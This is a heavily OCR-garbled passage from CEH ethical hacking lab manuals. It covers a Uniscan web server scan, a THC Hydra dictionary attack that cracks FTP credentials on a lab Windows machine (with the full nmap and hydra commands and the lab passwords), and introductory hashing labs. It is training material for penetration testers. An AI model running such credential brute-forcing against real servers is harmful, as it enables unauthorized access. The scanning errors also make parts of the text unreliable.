P rform File
Check

Fyure 1750 'nikean - enaod with -we opon
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16. Uniscan starts the file check and displays the results, as shown i the
screenshot.

Note: Scroll to analyze the complete scan result. It should take approximately
10 minutes for the scan to finish.

Figgure 1.7.6: Uniscan displaping scan results

Brasx 7.s 17. Now, use the dynamic testing option by giving the 'cnnjlmnnd -d. Type
uniscan -u http://10.10.10.16:8080/CEH -d and hit linter to start a
dynamic scan on the web server.

Perform Dynamic
Tests

@parrot

Igoure 1.7.7: Run unisean with -d opoon
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18. Uniscan starts performing dynamic tests, obtaining more information
about email-1Ds, Source code disclosures, and external hosts.

Note: Scroll to analyze the complete output of the scan. It should take

approximately 10 minutes for the scan to finish.

Figure 1.7.8: Uniscan displaving scan results

19. Uniscan displays the PHP info, as shown in the screenshot below. Close
the terminal window.

Figure 1.7.9: Uniscan displaying PHP info
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20. After scanning, navigate to /usr/share/uniscan/report and right-click on

10.10.10.16.html. Hover your mouse cursor on Open With and click
View Report Firefox from the menu to view the scan report.

Hrask 7.6

ADI0I0S6Y
® Op«

OpenWith >

Figure 1.7.10: Scan eport genenated

biguee L7110 Sean report generated

77 You can also use 21. The report opens in the browser, giving you all scan details in a more
other web server

t'mnpximing ol sichias C()mprchcnswc manncr.
SpiderFoot

(herps:/ /www.spiderfoot.
net), httprint

(hetps:/ /www.net-
square.com), N
Winfingerprint (D]
(heeps:/ / gqpdownle 'md.cnm Uniscan
), and NetworkMiner Web V X
(hetps:/ /www.netresec.co
my} to gather information scan e
about the target web
server.

- TARGET

Figure 1.7.11: View the scan report

22. This concludes the demonstration of how to gather information about
the target web server using Uniscan.

23. Close all terminal windows on the Parrot Security virtual machine.

24. Turn off the Parrot Security and Windows Server 2016 virtual
machines.
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Lab Analysis

Analyze and document all the results discovered in this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
ABOUT THIS LAB.

Internét Connection Required

¥ Yes ONo
Platform Supported
¥ Classroom i iLabs
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Perform a Web Server Attack

An expert hacker and pen fester must implement various lechnigues to lannch web
server allucks on the target web server.

Lab Scenario

After gathenng required information about the target web server, the next task for an
cthical hacker or pen tester is to attack the web server in order to test the target
ncrwork’s web server secunity infrastructure. ‘This requires knowledge of how to
perform web server attacks.

Attackers perform web server attacks with certain goals in mind. These goals may be
technical or non-technical. or example, attackers may breach the security of the web
server to steal sensitive information for financial gain, or merely for curiosigy’s sake.
The attacker tries all possible techniques to extract the necessary passwords,
including password guessing, dictionary attacks, brute force attacks, hybrid
attacks, pre-computed hashes, rule-based attacks, distributed network attacks,
and rainbow attacks. The attacker needs patience, as some of these techniques
are tedious and time-consuming, ‘The attacker can also use automated tools such
as Brutus and THC-Hydra, to crack web passwords.

An cthical hacker or pen tester must test the company’s web server against
various attacks and other vulnerabilitics. It is important to find various ways to
extend the security test by analyzing web seovers and employing multiple testing
techniques. “This will help to predict the effectiveness of additional security measures
for strengthening and protecting web servers of the organization.

Lab Objectives
s Crack IFIP credenuials using a IDictionary Attack

Lab Environment

To carry out this lab, you need:
*  Windows 10 virtual machine
*  Parrot Sccunty virtual machine

s Web browsers wath an Intemet connection
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s Admiuustrator privileges to run the tools

Lab Duration

I'ime: 10 Minutes

Overview of Web Server Attack

Attackers can cause various kinds of damage to an organization by attacking a
web server, including:

*  Compromise of a user account

®  Sccondary attacks from the website and website defacement
® Rootaccess to other applicanons or servers

s Data tampering and data theft

*  Damage to the company’s reputation

Lab Tasks

2 task 1 Crack FTP Credentials using a Dictionary Attack

Here, we will firstly find the open FFIP port using MNmap, and then perform a
dictionary attack using the ‘TTC 1 ydra tool.

1. T'urn on the Windows 10 and Parrot Security virtual machinces.

2. In the login page, the attacker uscrname will be selected by default.
Enter password as toor in the Password ficld and press Enter to log in
to the machine.

Note: FHere, we will use a sample password file (Passwords.txt) containing a list
of passwords to crack the FIP credentials on the target machine.

3. First, we will copy the Wordlists folder containing the sample username and

Brasx 1.1
password files (named Passwords.txt and Usemames.txt) from the shared

Copy and Paste network drive to the roottHome directory of the Parrot Security virtual
Wordlists Folder machine.
77 A dictionary or 4. To do so, open any windows explorer and press Ctri+L. The Location ficld

wordhst contains

- appears; type smb/10.10.10.10 and press Enter to access Windows 10

arc used by passwonrd shared folders.

cracking tools to break - . 1 . .
into a password-protected 5. A sccurity pop-up appears; enter the Windows 10 virtual machine credentials
system. An attacker may (Usermame: Admin and Password: Pa$$wO0rd) and click Connect.

cither manually crick a

password by gucssing it or 6. ‘The Windows shares on 10.10.10.10 window appears. Double-click the
use automated tools and CEH-Tools folder.

techniques such as the
dicionany nwethod. Most
password cracking
techigues are success ful,
because of weak or casily
puessable passwords.
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7. Navigate to CEHv11 Module 13 Hacking Web Servers and copy the
Wordlists foldcr.

{CEHv11 Modute 13 Hacking Web Servers

‘Wordlists

Figure 2.1.1: Copy the Wondhists file

8. Paste the Wordlists folder into the /homelattacker directory, as shown in the
screenshot.

N\

< | attacker
Computer

* attacker

Wordlists

Devices

Figure 2.1.2: Paste the Wordhists directory

Hrask 1.2 9. Click the MATE Terminal icon at the top of the Desktop window to open a
Perform Nmap Terminal window.
Scan

10. A Parrot Terminal window appears. In the terminal window, type sudo su
and press Enter (0 run the programs as a rool user.

11. In the [sudo] password for attacker ficld, type toor as a password and
press Enter.

Note: The password that you type will not be visible.

12. Now, type ed and press Enter to jump to the root directory.
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13. Type mv /home/attacker/Wordlists /root/ and press Enter to move the
Wordlists folder to the root directory.

Figure 2.1.3: Move Wordbists folder to the root directory

14. Assume that you are an attacker, and you have observed that the FIP
service is running on the Windows 10 virtual machine.

—
wn

. Perform an Nmap sean on the target machine (Windows 10) to check if
the F'I'P port is open.

16. In the parrot terminal window, type nmap -p21 [IP Address of Windows
10], and press Enter.

Note: In this lab, the IP address of Windows 10 is 10.10.10.10.

Figure 2.1.4: Performing Nmap post scan

17. Observe that port 21 1s open in Windows 10.

18. Check if an FTP server is hosted on the Windows 10 machine.
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19. Type ftp [IP Address of Windows 10] and press Enter. You will be
prompted to enter user credentials. The need for credennals implies that
an FTP server 1s hosted on the machine.

l‘l_x,'urc 2.1.5: Test for FI'P server

20. Try entering random usernames and passwords in an attempt to gain TP
access.

Note: The password you enter will not be visible on the screen.

21. As shown in the screenshot, you will not be able to log in to the FTP
server. Close the terminal window.

Figure 2.1.6: Test Log In

22. Now, to attempt to gain access (o the FTP server, perform a dictionary
attack using the THC Hydra tool.

23. Open a new terminal and jump to the root directory. Now, type hydra -
L /root/Wordlists/Usernames.txt -P /root/Wordlists/Passwords.txt

Hrask 1.3

ftp://[IP Address of Windows 10] and press Enter.
Perform

Note: The IP address of Windows 10 in this lab exercise 1s 10.10.10.10. This
Dictionary Attack

[P address might vary in your lab environment.

Figure 2.1.7: Attacking the FTP server
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24. Flydra tries various combinations of usernames and passwords (present
in the Usernames.txt and Passwords.txt files) on the 1P server and
outputs cracked usernames and passwords, as shown in the screenshot.

Note: This might take some time to complete.

25. On completion of the password cracking, the cracked credentials
appear, as shown in the screenshort.

Figure 2.1.8: User eredenuals cracked successfully

26. I'ry 0 log in to the FI'P server using one of the cracked username and
password combinations. In this lab, use Martun’s credenuals to gain access
to the server.

27. Open a new erminal window and jump o the root directory. Now, wpe Rp
Erasx 1.4 [IP Address of Windaws 10], and press Enter.

Access the FTP
Server Remotely

28. Enter Marun's user credentials (Martin and apple) to check whether you
can successfully log in w the server.

29. On entering the credentials, vou will successtully be able o log in © the
server. As ftp ieommal appears, & shown m the sereenshot,

@parrot
#ftp 10.10, 16

Figure 2.1.% Logging in o FTP seever

3. Now you can remotely access the FIT server hasted on the Windows 10
machine.
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31. I'ypec mkdir Hacked and press Enter to remotely create a directory named
Hacked on the Windows 10 virtual machine through the ftp terminal.

209

File  Edit v Search
@parrot
p

Figure 2 110 Creating 2 directory

32. Switch to the Windows 10 virtual machine, log in with the credentals
Admin and Pa$$wOrd, and navigate to CAFTP.

33. View the directory named Hacked, as shown in the screenshot:

s | FIP - a X
Honte Shate Vievr 9
* D b o Uoreto - X Oclete = oY n° Haitiuh!l
.- i Setect none
hn;g:ﬁmk Copy Paite [’] Bopyto -  #§ Rerame (2‘:::1 Wopfmu B
Clipsooard Otganize Hew Open Select
« < | ThaPC > Local DiskiCy) » FIP| v O o
-
# Guick access
@ OneDrive
&8 This PC
B 30 Objects Hocked
M Oesktop ~
fiten 1 itep selected e ‘ﬂ

Frgure 2.1.11: Viewing the created directony in Windows 10

34. You have successfully gained remote access to the FTP server by
obtaining the appropuate credentals.

35. Switch back to thc Parrot Security virtual machine.
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36. Enter help to view all other commands that you can use through the FTP
terminal.

Figure 2.1.12: Viewing the other FIP commands

£ You canalso use 37. On completing the task, enter quit to exit the ftp terminal.
other web server attack
tools such as Burp Suite
(https:/ /portswigger.net),
JHijack

(https:/ /source forpe.net),
Hashcat

(https:/ /hashcatnet), or
Metasploit

(https:/ /www.metasploit.
com) to perform various
attacks on the target web
server.

Figure 2.1.13: Exitng the FTP shell

38. This concludes the demonstration of how to crack FIP credentials using
a dictionary attack and gain remote access to the FTP server.

39. Close all open windows on both the Parrot Security and Windows 10
virtual machines.

40). Turn off the Parrot Security and Windows 10 virtual machines.
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Lab Analysis

Analyze and document all the results discovered in this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
ABOUT THIS LAB.

Internet Connection Required

O Yes ¥ No
Platform Supported
M Classroom M iLabs
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Cryptography

Pg.151 www.technoglobe.co.in



Oxford University Awarded
techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

Cryptography

Cryptograply is the study and art of hiding neeaningful information in an nnreadable

Jormud.
b
ICON KEY Lab Scenario
= Valuable With the increasing adoption of the Internet for business and personal
mtormanon o . . o . g g
communication, securing sensitive information such as credit-card and personal
Tt your idennfication numbers (PINs), bank account numbers, and private messages is
knowledge becoming increasingly important, and vet, more difficult to achieve. Today’s
B Wb cxcetise information-based organizations extensively use the Internet for e-commerce,

market research, customer support, and a vanety of other acavitics. Thus, data

B workbook review secunty is critical to online businesses and privacy of communication.

Cryprography and cryptographic (“crypto”) systems help in securing data from
interception and compromise during online rransmissions. Cryptography enables
one to secure transactions, communications, and other processes performed in
the clectronic world, and 1s additionally used to protect confidential data such as
email messages, chat sessions, web transactions, personal data, corporate data, e-
commerce applications, ctc.

As an cthical hacker or penetration tester, vou should suggest to yvour client
proper encryption techniques to protect data, both in storage and during
transmission. The labs in this module demonstrate the use of encryption to
protect information systems in organizations.

S oot . LabObjectives

demonstrated in

this lab are The objective of the lab is to use encryption to conceal data and perform other
available in tasks that include, but is not hmited to:

E:\CEH-

Tools\CEHv10 s Gencerate hashes and checksum files

Modujared * (alculate the encrypted value of the selected file

Cryptography ’

*  Use encrypting/decrypting techniques
*  Perform file and data encryption

*  Create sclt-signed certificates

*  Perform email encryption

' Perform disk encryption

*  Perform cryptanalysis

Lab Environment

To carry out this lab, you need:

*  Windows 10 virtual machine
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= Windows Server 2019 virtual machine
=  \Web browsers with an Internet connection

*  Adminsstrator privileges to run the tools

Lab Duration

Time: 110 Minutes

Overview of Cryptography

“Cryptography” comes from the Greek words Akryptos, meaning “concealed,
hidden, veiled, secret, or mysterious,” and graphia, “writing”; thus, cryptography
is “the art of secret writing.”

Cryptography 1s the practice of concealing information by converting plain text
(readable format) into cipher text (unreadable format) using a key or encryption
scheme: 1t 1s the process of the conversion of data into a scrambled code that 1s
sent across a private or public network.

There are two types of cryptography, determined by the number of keys
employed for encryption and decryption:
* Symmetric Encryption: Symmetric encryption (secret-key, shared-key,
and private-key) uses the same key for encryption as it does for decryption
* Asymmetric Encryption: Asymmetric encryption (public-key) uses
different encryption keys for encryption and decryption; these keys are
known as public and private keys

Lab Tasks

Ethical hackers or pen testers use numerous tools and techniques to perform
cryptography to protect confidential data. Recommended labs that will assist you in
learning various cryptography techniques include:

Self- iLabs

Lab Exercise Name Core* study** ek
Encrypt the Information using Various i
1 2 P - N v Vv
Cryptography Tools
1.1 Calculate One-way Hashes using 4 N
HashCalc
1.2 Caleulate MD5 Hashes using MD5 J q
Calculator
1.3 Calculate MD5 Hashes using f V
HashMyFiles
1.4 Perform File and Text Message N N

Encryption using CryptoForge

www.technoglobe.co.in
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1.5 Pertorm File Encryption using
Advanced Encryption Package

1.6 Encrypt and Decrvpt Data using
BCTextkincoder

2 | Create a Sclf-Signed Certificate

2.1 Create and Use Sclf-signed Certificates

3 | Perform Email Encrvption

3.1 Perform Email Encryption using Rmail

<

4 | Perform Disk Encovption

4.1 Pertorm Disk Encryption using
VeraCrypt

T R S E-S S - - -

4.2 Perform Disk Encryption using
Bitl.ocker Drive Encryption

Disk Encryption

43 Perform Disk Encryption using Rohos

Perform Cryptanalysis using Various
Cryptanalysis T'ools

5.1 Perform Cryptanalysis using Ceyp’l'ool

5.2 Perform Cryptanalysis using
AlphaPecler

Remark

1iC-Council has prepared a considered amount of lab exercises for student to practice during the 5-day class

and at their free time to enhance their knowledge and skill.

*Corc - Lab exercise(s) marked under Core are recommended by EC-Council 0 be pmctised during the

3-dlay class.

**Self-study - [ab excreise(s) marked under self-study is for students to practise at their free time. Steps

access the additional lab excercises can be found in the fiest page of CEHY1 volume 1 book.

**%iLabs - lab excreise(s) marked under ilabs are available in our ilabs solution. ilabs is a cloud-based
virtual lab environment preconfigured with vulneeabilities, exploits, tools and seripts, and can be accessed
trom anywhere with an Interact conaection. IF you are interested to learm more about our ilabs solution,

please contact vour teaining center or visit hups://ilabs.cccouncil.org,

Lab Analysis

Analyze and document the results related to the fab exerase. Give vour opinion on

your tﬂfgC[’S S(.’Cllt'i[}' p()StLer and exposurc.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.
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Lab

Encrypt the Information using
Various Cryptography Tools

Cplography is nsed to enarypt sensitive deata lo protedt i from unadhoned acess by any pany other
than the person for b it is inlended,

icon xeY  Lab Scenario

777 Valuable

As a professional cthical hacker and penetration tester, you should use various

s cryptography techniques or tools to protect confidential data against unauthorized

& Ii:\:“\l:.)du:,g access. Cryptography protects confidential data such as email messages, chat sessions,

web transactions, personal data, corporate data, e-commerce applications, and many

Web exercise other kinds of communication. Encrypted messages can at times be decrypted by

Y i paice crypranalysis (code breaking), although modern encryption techniques are virtually
unbreakable.

The labs in this exercise demonstrate how you can use various cryptography tools to
encrypt important information in the system.

£ "Tuo Lab Objectives

demonstrated in

this lab are *  Calculate one-way hashes using HashCale

available in

E:\CEH- = Calculate MD5 hashes using MD5 Calculator
ToolsCRiivii *  Calculate MD5 hashes using HashMyFiles

Module 20

Cryptography *  Perform file and text message encryption using CryptoForge

®  Perform file encryption using advanced encryption package

* Encrypt and decrypt data using BCTextEncoder

Lab Environment

To carry out this lab, you need:
*  Windows 10) virtual machine
*  Windows Server 2019 virtual machine

®*  Web browsers with an Internet connection
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Lab Duration

Time: 35 Minutes

Overview of Cryptography Tools

System administrators use cryptography tools to encrypt system data wathin theie
network to prevent attackers from modifying the data or misusing 1t in other ways.
Ceyptography tools can also be used to caleulate or decrypt hash functions available
in MD4, MD3, SHA-1, SHA-236, etc

Crvptography tools are used to convert the information present in plain text (readable
format) into cipher test (unreadable format) using a key or encryption scheme. The
converted data are n the form of a scrambled code that s enceypted and sentacross
a prvate or public network.

Lab Tasks

TASK 1 Calculate One-way Hashes using HashCalc

Here, we will use the HashCale tool to caleulate one-way hashes.

1. Turn on the Windows 10 virtual machine and log in with the credentials

Admin and Pa$$wOrd.

[ o i

B rask 1.1 2. Navigate to E:\CEH-Tools\CEHv11 Module 20 CryptographyMD5 and MD6
Hash CalculatorsHashCale and double click setup.exe.

Install & Launch

MashCalcTool  NOtE: I the User Account Control pop-up appears, cick Yes.

3. Setup - HashCalc window appears, clck Next.
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¢ Setup - HashCalc - X

Welcome to the HashCalc Setup
Wizard

This wil install HashCalc 2.02 on your computer.

k is recommended that you close all other applications before
continuing.

Click Next to contmue, or Cancel to exit Sefup.

| Net> | | Cocel

Froure L1 L Setup - HashCale window
Follow the installation wizard to install HashCate using all default settings.
After the completion of the installation, Completing the HashCalc Setup

Wizard appcars. Uncheck the View the README file checkbox and click
Finish.

HashCzle
cnables you o compute
multple hashes,
checksums, and HMACs
tor tiles, text, and hex
stangs. It supports the
Sceure Hash Algonthm
family: M2, MDY,
MD35,SHA L SHIA2
(SHA256, SEHLA3SY,
SHAS512), RIPEMDI6O,
PANAMA, TIGER,
CRC32, ADIIR32, and
the hash used in the peet-
to-peer file shadng
apphications, clonkey and
eMule.

\1@ Setup - HashCalc

Completing the HashCalc Setup
Wizard

Setup has finished instaling HashCalc on your computer. The ‘
apgbcation may be launched by selecling the nstalled icons |

Chick Frishto exfl Setup.

[ View the README fie |
(3 Launch HashCaic

Pg.157
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6.

7. Minimize the HashCale window. Navigate to Desktop, right-click on the
Desktop window, and navigate to New => Text Document (o create a new

Pg.158

The HashCale main window appears, as shown in the screenshot.

r
H HashCalc

Data Fomnat:

[Fie B4

™ HMAC

Data:

X

Key Format: Key:

B

ITExI tnng ;I |

v MD5

™ MD4

W SHA1

I~ SHAZ256
™ SHA384
™ sHAS12
¥ RIPEMD1E0
™ PANAMA
[~ TIGER
™ Mp2

™ ADLER32
¥ CRC32

eDonkey/
r ebule

Slavasoft

’mlﬂosel

Help |

4

text file.

Note: You can create a text file at any location of your choice.

Fgure 1.1.3: HashCale Window
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8. A newly created text file appears; rename it to Test.txt and open it. Write
some text in it (here, Hello World 1) and press Ctr+S to save the file. Close

the text file.

[ | Testtut - Naiepad
File Edit Format View Help

ello World

1]

Figare 114 Testoa filke

o

X

Mindows.(CR...Ln.1.Col15...100% d

www.technoglobe.co.in
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9. Now, switch back to the HashCalec window; ensure he File option is
B task 1.2

Calculate Hash
Values of a File

selected in the Data Format ficld and click ellipsis icon under the Data
filed.

HashCalc - X
Data Format: Data:
| — L]

Key Format: Key:
[T HMAC lTextsning;Il

¥ MD5 |
[~ MD4 |
[V SHA1 |

Figure 1.1.5: Open a text fike

10. The Find window appears, navigate to the location where you saved the
Test.txt filc (hcre, Desktop) and click Open.

10. The Find window appears, navigate to the location where you saved the
Test.txt filc (here, Desktop) and click Open.

* Find X

Look in: | I Desktop +| & @ ¥ B~

Stege.bmp Test.txt v

Filename:  |Testixt I Open I
Files of type: Al Fies (".") | Cancel |£

8

Figure 1.1.6: Find window: select Testixt file
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11. The path of the selected file (Test.txt) appears under the Data field. Ensure
that the MDS, SHA1, RIPEMD160, and CRC32 hash functions are selected.
Click the Caleulate button.

.’
T HashCalc — X

Data Format:
|File v | |C:\Users\Admin\Desktop\Test tst Y

Key Format:
[~ HMAC ITewt sting __I l

|[#_vios’

™ MD4

[% SHaT

[~ SHA256
I~ SHA384
[~ SHAS512
| G |
I~ PANAMA
™ TIGER

™ MD2 |
[~ ADLER32

i|l\7 CFIC32I

eDonkey/
W

SilavaSoft Calculate |  Close Help

- 4
Figure 1.1.7: Caleulate hash values of Testaxt file
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12. "T'he calculated hash values of the Test.txt file appears, as shown mn the
screenshot,

{H] HashCalc = X

Data Foimat: Data:
IFiIe j |C',\U sers\Admin\Desklop\Test. txt J

Key Format.  Key:

™ HMAC |Tezt sting j Ii

¥ MD5 [23a8bb350ef33ac5870dae3b221607¢7 |
™ MD4 [
@ SHA1  [c388014630d22c1a9302843541106907e718ct67 |
™ SHA256 |
™ SHA384 |
™ SHas12 |
¥ RIPEMD160 [bb3884eb5ff25be0al34cdcb2rb?44c836dc343a ]
™ PANAMA |
™ TIGER |
™ MD2 |
™ ADLER32 |
¥ cRC32  |11c6d233 J

eDonkey/
L eMule I

SlavaSoft | Calculate I Close Help

B TSK Bes 13. Minimize the HashCale window, navigate to Desktop, ard double-click the

Test.txt bilc to open it Modity the tile coatent by wnmng some text (here,
Modify Modified File ...%) ard press Ctd+8 to save st. Close the text file.

File Content

) Test.tat - Notepad = o X

file Edt  Format  View Help
PModified File ... 111

Windows (CR._Lnl.Col2l 100%. 4

Figrure 1.1.9: Modhfy texct eontent
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14. Now, double-click Hash€Cale shortcut from Desktop to launch another
HashCalc window.

15. A new HashCale window appears, perform Steps #9-12.

& rtask 1.4 16. Now, maximize the finit HashGale window and place it beside the second
HashCatc window. You can observe changes in the hash values of the text
file (Test.txt) before and after the modificanon, as shown in the screenshot.

Compare Hash

Values of Original
| v . . ] < ) 5 -
and Modified File | H Original File Hraacac Modified File e
DataFomat  Data Dosfomat  Dgta
[Fie =] [C\WiaAsnm\DeskiopiTest be S| e 1] l&%xa:\}\am\ouﬂw\leﬂm 15
Key Fermat: Kev. Kegy Foonst .
raMaC  [Temsons -] | M pec  [leasmeg - Fﬂ
7o MD5__ T23550b)90ei9350507040-5623607¢7 05 ToeaTessiet0ca1od s 5o T aleccss 1
MDA [ r vo4 [
v _SHAt {38801 463a022¢ 1 a33022435411(09070718¢t67 v SHAL [1£631254716c0038860¢ IR 2539132641 42127
oswazss [ I oshazss |
I swasss | rsumps |
roswasiz [ I stamz
¥ RIPEMD180 {bb3RBA6bNZ5bela3tedcb2ib7 14856 dc34 7 RIPEMD 160 194De2M51 7844001 bE252c b1 b 7e 779V cBS7 I
roesums [ e [
ruceR | riGeR |
- MD2 I r mp2 |
I ADLERR | I ADLER32 |
& crcx2  [11c€a239 7 CRCX2  Idecbdc?®
0 orkoy/ o/
™o [ e |
Slarasof Coouse | Ome | Hew || Sk Codwo |TCe | Mo |
Figure 1.1.10: Difference in Hash values of the same test file
Note: In real-time, the [ashCale tool is used to check the integnty of a file where
the changes in the hash values indicate that the file content has been modified.
17. ‘This concludes the demonstration of calenlating one-way hashes nsing
FHashCalc.
18. Closc all open windows and document all the acquired information.
T task 2 Calculate MD5 Hashes using MD5 Calculator

Here, we will use the MD5 Calculator tool to calculate M3 hashes.

[. In the Windows 10 virtual machine, navigate to E:\CEH-Tools\CEHv11
Module 20 Cryptography\MDS and MD6 Hash Calculators\MDS Calculator

Install MDS and double-click mdScalc(1.0.0.0).msi.
Calculator Tool

& rask 2.1

2. The MDS Calculator sctup window appears; click Next.
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BB MDs Calculator =
Welcome to the MDb Calculator Setup Wizard
= MD2,MD4,
MD5, and MD6 ase
message digest algorthms 1 3
used in digieal signamee The installer wall guide you thiough the steps requared to install MD5S Calculator on your computer,

applicatons to compress
documents securely
before the system signs it
with a prvate key. The
algorithms can be of
variable length, but the
resulung message digest is
always 128 bits.

WARNING: This computer program is protected by copynght law and intemational treaties.
Unauthorized duplication or distribution of this program, or any portion of it, may result in severe civil
aor criminal penalties, and will be prosecuted to the maximum extent possible under the law.

F=7  The MD5
algorithm is 2 widely used
eryptographic hash

function that takes a r --

message of arbiteary [ Concel | < Blaok
length as inpur and
ourputs a 128-bit (F(}—b}'h’.‘} Fagure 1.2.1: MD3 Calewlator Wndow

fingerprint or message y i . . : i

digest of the input. The 3. TFollow the installation wizard to install the MD5 Calculator using all default
MD5 algorithm is used in settings.

awide vanety of

cryptographic applications Note: If 2 User Account Control pop-up appears, click Yes.

and 15 uscful for digital . . : 3
signature applications, file 4. After the completion of the installation, the Installation Complete wizard
integrity checking, and appears; click Close.

stonng passwords.

[y MUD Laicuiator o A

Installation Complete

MD5 Calculator has been successfully nstalled.

£~  MD5 Calulator Click "Close" to ext
is a simple application that
calculates the M5 hash
of a given file, and it can
be used with large files
{e.g., multiple gigabytes). It
features a progress
counter and a text field
from which the final MD3
hash can be easily copted
to the clipboard. MD3
calculator can be used to Please use Windows Update to check for any ciitical updates to the NET Framework.
check the integrity of a
file.

o] [ e | ]

Figure 122 Installaton Complete wizand
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5. Navigate to Desktop, right-click on the text file (Test.txt) that we created

in the previous task, and click MDS Calculator from the context menu to
Calculate MD5 calculate the MD5 hash of the file.

Value of an

Original File Open
Print

Test.txt Edit

MD5 Calculator

Edit with Notepad++

Share

Open with >

E rask 2.2

=

Give access to >

Restore previous versions

Send to >

Cut

Copy

Create shortcut
Delete

Rename

Properties

Frgure 1.2.3: Caleulate MD3 hash of Testaxt file

6. 'The MDS Calculator window appears, with the path of file under the File
Name ficld and M5 hash value under the MD5 Digest ficld, as shown in the
screenshot.

7. Copy the MD5 hash value from the MDS Digest ficld.

] MD5 Calculator — 4
File Tools Help

File Name
| [E-\Users\Admin\Desktop\ Testx |
| Calculate
MDS5 Digest Compare To
|44925331861662650f2d4cd98b404e db | |
[ Upper case
Exit

Frgure 1.2.4: MD5 Caleutator window with the MD3 hash value of the file
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8. Now, double-click the Test.txt filc from Desktop to open it and change the
content of the file by inserting text within (here, Hello World...1t). Save and

close the Test.txt file.
| Test.txt - Notepad = O X
File Edit Format View Help
[Fel1o viorld..i11 A
A
<
L Windows (CR Ln1, Col1 100%

Figure 1.2.5: Modify the file content

9. After changing the file content, again right-click on the text file (Test.txt) and
click MDS Calculator from the context menu to calculate the M5 hash of

the file.
= TAsSK 2.3 10. A new MDS Caleulator window appears, with the M5 hash value under the
MDS Digest ficld. In thec Compare To ficld, paste the copied MD5 hash value
An MD ?
Vitoman prburse ol of the fle before it was modificd.

and Modified File 11. The symbol () between the MDS Digest and Compare To ficlds indicates
that the MD5 hash values of the file before modification is not equal to the
MD?5 hash value of the file after modification.

MDS5 Calculator == X
File Tools Help

File Name

[C:\Users\Admin\Deskiop\Test txt | B
Original File Modified File

MD5 Digest g Compare To

| 128505413 1bf8def 7haTe e 726c 1544 | [] |4d525331861662b50F2ddcdS80404e 4D |

[ Upper case

Figure 1.2.6: Modify the file content

Note: If a person wants to send a file to another person via a medium, they
will calculate its hashes and send the file (along with the hash value) to the
intended person. When the intended person receives the email, they will
download the file and calculate its value using the MD5 Calculator.
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The recipient compares the generated hash value with the hash value that was
sent through email: if both rally, it is evident that they received the file without
any modificanons by a third person and that the integrity of the file 1s intact.

12. This concludes the demonstratnon of calculating MID5 hashes using M1)5
Calculator.

13. Close all open windows and document all the acquired nformation.

Calculate MD5 Hashes using HashMyFiles

& TASK 3

Here, we will use the HashMylHles tool to calculate MI)5 hashes.

i eha Al . In the Windows 10 virtual machine, navigate to E:\CEH-Tools\CEHv11
Module 20 Cryptography\MDS and MD6 Hash
Install Calculators\HashMyFiles and double-click HashMyFiles.exe.
HashMyfFiles Tool
2. The HashMyFiles main window appears, as shown in the screenshor.
T
[7] HashMyFiles =
File Edit View Options Heip
0BO|HE A
G fashMytales 1s 2 Filename MD5 SHA1T
small utthry that allows
vou to caleulate the M3
wd SHAT hashesof one
r more files in your
system: you can easily
sopy the MD3/SHAL
aashes list into (he
zlipboard, or save them
ato text/hemlfxml file.
HashMyliles can also be
aunched from the contest
mnenu of Windows
Explorer, and can display
the MDS/SHAL hashes
of the sclected Rle or < %
folder. b_file(s) 4

Figure 1.3.1 HashMyFiles wandow

3. In the HashMyFiles window, click Fites from the menu bar. From the
drop-down hst, click the Add Folder option.

Note: You can also usc the Add Files option to add multple files.

@ HashMyFiles =" 0 X
[File | Edit View Options Help
Add Files F2
— S -
|  AddFolder F3 SHAT
Add Process Files F4
Add By Wildcard Fé
Clear All CtrleX
Remove Selected Files Del
. Delete Selected Files Shift+Ctri+Del

Fygure 1.3.2: HashMyFiles window: Fle options
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4. ‘The Select Folder pop-up appears; click on the ellipsss icon to select

the folder you want to encrypt.

8" Select Folder

I

() Add fies in subfolders

Figure 1375 Scleet Falder pop-up

_L)l

‘The Browse for Folder window appears; navigate to EACEH-

Tools\CEHv11 Module 20 Cryptography\MDS and MD6 Hash
Calculators\HashMyFlles and sclect the Sample Fltes folder; then, click

OK.

Note: You can select any folder of your choice that you wish to encrypt.

ﬁrowse for Folder

Select a folder

AMNZ Uanbs 7~ aladabmen il bl CidnalC camnals Clan

X

E:\CEH-Tools\CEHv 11 Module 20 CryptographyWD5 and

> Cryptography Tools

HashCalc
v HashMyFiles
Sample Fies
MDS Caiculator
System Volume Information

CEHv 11 Module 19 Cloud Computing A
v CEHv11 Module 20 Cryptography

MDS and MDé6 Hash Calculators

Cance! ]

6. The location of the sclected folder appears in the field; click OK.

8 ° Select Folder

™

lE:\CEH-?ools\C&ivu Modhde 20 Cryptography DS and MD6 Hash CalautatorsHashMyfies\Sample Fics] Lo |

[JAdd fle< in subfolders!

OK Cancel

Figrure 1.3.3: Scdeer Fokber pogs-up: Sclucted fokler's ksczstion
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7. A list of files contained in the folder appears, along with their various hash

& rask 3.2 values such as MD5, SHA1, CRC32, ctc.
Analyza MD5 . HashMyfFiles — 0 X
Values File Edit View Options Help
0RO ED=EEJA
Filename - MDS5 SHAL CRC32
,%7, Confidentiai.bd fdc223536¢198118051fcc5e28789803  3aff31335790¢6d02b9802bb5d713affc1d7d7... %eael3d3
] Driving License.jpg 58bb917a1b4c7971010e0c6a40871535  ee771a75049e00723410384¢5e073%e30a4d6f...  e55decdd
©Insurance Details.docx abdb0bdf8a23426¢f056d7fee3bdsffe  8220ebal12c022a154e6dedf 118455edaalc3%e2 2e2cScba
:‘,f Medical Records.docx  ab4b0bdi2a23426¢f056d7feelbsbffe  8220ebal12¢0223154ebdedf 118456edaalc39¢2 2e2¢5¢cha
< >
Efile(s)
Figure 13.6: HashMyFiles window: It of files with hash values
=  Youcanalsouse 8. In the HashMyFiles window, click Options from the menu bar and choose
;:‘h: -'\:ll)j and Ml,)(’ Hash Types from the options. You can observe a list of hash functions such
ash calculators such as ;
MD6 H ik Generitin as MD5, SHA1, CRQS?, ?HA-ZSG, STIA-‘512, and SI-IA.-384, which you can
(hups:/ /www.browserling choose (here, the MD35, SHA1, and CRC32 hash functions were sclected).
.com), All Hash
Generator = o X
(hups:/ /www.browserling [Options | Help
com), MD6 Hash TSR r—-—— - = 3
Generator SO MTM e
(hups:/ /convest- CRC32 Display Mode v SHA1 CRC32
